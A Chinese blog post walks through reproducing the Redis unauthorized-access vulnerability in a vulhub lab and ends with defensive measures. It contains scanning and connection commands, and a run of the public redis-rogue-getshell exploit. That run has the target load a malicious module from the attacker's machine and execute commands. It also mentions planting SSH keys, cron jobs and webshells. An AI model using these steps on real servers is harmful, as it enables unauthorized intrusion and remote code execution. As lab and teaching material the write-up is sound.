当前位置:网站首页>redis未授权访问漏洞【vulhub靶场】复现
redis未授权访问漏洞【vulhub靶场】复现
2022-08-04 12:36:00 【poggioxay】
漏洞概述
Redis
默认情况下,会绑定在 0.0.0.0:6379
,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip
访问等,这样将会将 Redis
服务暴露到公网上;如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis
以及读取 Redis
的数据。攻击者在未授权访问 Redis
的情况下,利用 Redis
自身的提供的config
命令,可以进行写文件操作,攻击者可以成功将自己的ssh
公钥写入目标服务器的 /root/.ssh
文件夹的authotrized_keys
文件中,进而可以使用对应私钥直接使用ssh
服务登录目标服务器、添加计划任务、写入Webshell
等操作。
影响版本
Redis 4.x/5.0.5
以前版本
漏洞复现
docker 靶机:192.168.11.128
攻击机 kali:192.168.11.131
- 开启环境
docker-compose ps
,可以看到redis
启动在6379
端口- 攻击机安装
redis
,依次执行以下命令
wget http://download.redis.io/releases/redis-2.8.12.tar.gz
tar -xzf redis-2.8.12.tar.gz
cd redis-2.8.12
make
cd src
./redis-cli -h
nmap
扫描docker
靶机,发现6379
端口开启
nmap -sV --open -p- 192.168.11.128
5. 用攻击机redis
连接目标机redis
cd redis-2.8.12/src/
./redis-cli -h 192.168.11.128
6. 连接成功,info
查看信息
- 在攻击机下载
exp
,依次在攻击机中输入以下命令
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rogue-getshell/RedisModulesSDK/exp
make //在当前目录下生成一个exp.so文件
- 回到
redis-rogue-getshell
目录下,利用EXP
./redis-master.py -r 192.168.11.128 -p 6379 -L 192.168.11.131 -P 1111 -f RedisModulesSDK/exp/exp.so -c "id"
//第一个ip是靶机,第二个ip是攻击机
- 利用成功
由于实验环境为vulhub
,只能通过该exp
来getshell
,如果想通过写文件、ssh key
或定时计划来getshell
,会提示没有权限。需要自己搭建靶场环境,参考一下文章:
参考文章1
参考文章2
防御方法
设置
Redis
访问密码在redis.conf
中找到 “requirepass
” 字段在后面填上强口令,redis
客户端也需要此密码来访问redis
服务。添加
IP
访问限制:配置bind
选项限定可以连接Reids
服务器的IP
并修改默认端口6379
。重启
Redis
服务。清理系统中存在的后门木马。
禁止使用
root
权限启动redis
服务。
边栏推荐
- Why is Luo Zhenyu's A-share dream so difficult to fulfill?
- 《会面》-凯瑟琳曼斯菲尔德(徐志摩译)
- Analysis and comparison of mobile cross-end technical solutions
- Motion Rule (16)-Union Check Basic Questions-Grid Game
- 他是“中台”之父,凭一个概念为阿里狂赚百亿
- break与continue超详解!!!
- A comprehensive understanding of MOS tubes, an article is enough
- FHQ-Treap 简介
- Opencv学习之ORB特征提取和匹配
- 飞书更新招聘功能 候选人可选择面试时间
猜你喜欢
MOSFET米勒平台(Miller Plateau)
What is DevOps?Enough to read this one!
罗振宇的A股梦,咋这么难圆?
LeetCode Daily Question (858. Mirror Reflection)
什么是 DevOps?看这一篇就够了!
第10章 模块和包
yolo系列的head模块
Focusing on data sources, data quality and model performance to build a credit profile of small and micro enterprises
“蔚来杯“2022牛客暑期多校训练营5 B、C、F、G、H、K
OAuth2图文快速入门
随机推荐
用VbScript控制光驱
力扣每日一题-第48天-345. 反转字符串中的元音字母
【PHP实现微信公众平台开发—基础篇】第2章 微信公众账号及申请流程详解
动规(16)-并查集基础题——格子游戏
What is DevOps?Enough to read this one!
双目立体视觉笔记(二)
TensorFlow学习记录(三):高阶操作 & 神经网络与全连接层
两年独立开发经验程序员告诉我们赚钱的经验(听听真正赚到钱的高手做法)
直击面试!阿里金九银十最新面试小册 稳过!
项目里的各种配置,你都了解吗?
【Game Of AutoTest】1、再度启程,重识游戏自动化测试
拥有一台服务器,程序猿装X的开始
num_workers
Why is Luo Zhenyu's A-share dream so difficult to fulfill?
情人节浪漫3D照片墙【附源码】
七夕疯狂搞钱的年轻人,一周赚14万
String is a reference type
炫酷又高效的数据可视化大屏,做起来真的没那么难!丨极客星球
Launcher app prediction
MySQL - Explain详解